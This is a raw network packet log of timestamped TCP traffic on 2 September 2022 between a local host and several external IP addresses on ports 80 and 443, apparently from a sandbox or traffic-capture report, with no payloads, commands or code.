Sep 2, 2022 14:02:38.646627903 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.646785975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.646852970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.646914005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.646955967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.646975994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.646985054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.647002935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.647430897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.647470951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.647497892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.647552967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.647622108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.647663116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.647675037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.647690058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.647753954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.659332037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.659424067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.659440994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.659452915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.659501076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.659873962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.659918070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.659944057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.659989119 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.660010099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.660239935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.660785913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.761804104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.761857033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.761892080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.761933088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.761965036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.761970043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.761997938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.762022018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.762459993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.762502909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.762525082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.762532949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.762548923 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.762619972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.762660027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.762671947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.762686968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.762708902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.763169050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763211012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763237000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763241053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.763273954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.763276100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763418913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763446093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763480902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.763642073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763681889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763714075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763735056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.763880014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763921976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763931990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.763948917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.763972044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.764219999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.764262915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.764290094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.764321089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.793431044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793492079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793521881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793560028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793598890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793627024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793699980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.793757915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.793764114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.793850899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793885946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793903112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.793943882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.793963909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794025898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794029951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.794043064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794106960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.794121027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794151068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794168949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794198036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.794226885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794229031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.794378042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794395924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794425964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.794450998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.794904947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794934988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.794950962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795001030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.795109034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795135021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795145988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795264006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.795605898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795634031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795651913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795696020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.795762062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795787096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795804024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.795861959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.800040007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800071001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800086021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800159931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.800168991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.800255060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800314903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800317049 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.800343990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800363064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.800672054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800715923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800743103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800771952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.800781965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800822020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800849915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.800872087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.801554918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.801597118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.801626921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.801661015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.801889896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.802380085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.843405008 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.846642971 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.003412962 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:39.003957987 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.268277884 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:39.269184113 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.269242048 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:39.269316912 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:39.269426107 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.269444942 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:39.269490957 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.269507885 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.271794081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:39.276324034 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.294831038 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.294857025 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.294883013 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.294954062 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.294979095 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.295001030 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.295017958 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.295032024 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.295093060 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.295101881 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.295115948 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.295139074 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.295183897 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.298670053 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.298698902 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.298738003 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.298760891 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.298862934 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.298882961 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.298978090 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.298996925 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.299012899 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.299107075 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.299120903 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.299181938 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.299200058 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.299277067 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.299318075 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.299341917 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.314552069 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.507374048 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.507464886 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.832088947 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.832107067 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.832122087 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.832206011 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.832212925 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.832226038 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.832237959 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.832273006 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.832320929 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834299088 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834316969 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834336996 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834341049 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834476948 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834486008 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834530115 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834537029 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834563971 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834568024 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834610939 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834616899 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834675074 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834682941 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834708929 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.834770918 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834821939 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.834867954 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.848196030 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:39.848289013 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:39.853993893 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.854012012 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.854031086 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.854166985 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.854235888 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.856677055 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.856698036 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.856724024 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.856741905 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.856856108 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.856863022 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.856873035 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.856940985 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.856946945 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.856960058 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.857002974 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.857007980 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.857063055 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.857101917 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.873209953 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.873225927 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.873244047 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.873354912 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.873449087 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.881302118 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.881329060 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.881385088 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.881402969 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.881411076 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.881534100 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.881541967 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.881634951 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.881645918 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.881659031 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.881731033 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.881877899 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.881891012 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.883224964 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.917799950 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.917824984 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.917841911 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.917959929 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.918014050 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.919238091 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.919253111 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.919279099 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.919303894 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.919308901 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.919403076 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.919410944 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.919497967 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.919503927 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.919511080 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.919543028 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.920867920 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.920908928 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.937946081 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.937963009 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.937978983 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.938028097 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.938112020 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.939493895 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.939502001 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939527988 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939558983 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939563990 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939614058 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.939619064 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939707041 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.939713001 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939726114 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939758062 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939776897 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.939821005 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.939866066 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.939872026 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.939915895 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.948818922 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.948841095 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.949028969 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.950349092 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.950356960 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950375080 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950407028 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950409889 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950458050 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.950462103 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950550079 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.950556040 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950563908 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950623989 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.950632095 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:39.950679064 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:39.950726986 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:40.155371904 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:40.155872107 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:40.571397066 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:40.571479082 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.403435946 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.403513908 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.851288080 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.851311922 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.851331949 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.851442099 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.851452112 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.851469994 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.851536989 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.851547003 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.851625919 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.851635933 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853039980 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853049994 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853064060 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853077888 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853156090 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853161097 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853216887 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:41.853223085 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853244066 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853250027 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:41.853276968 CEST	49808	443	192.168.2.6	95.142.206.0
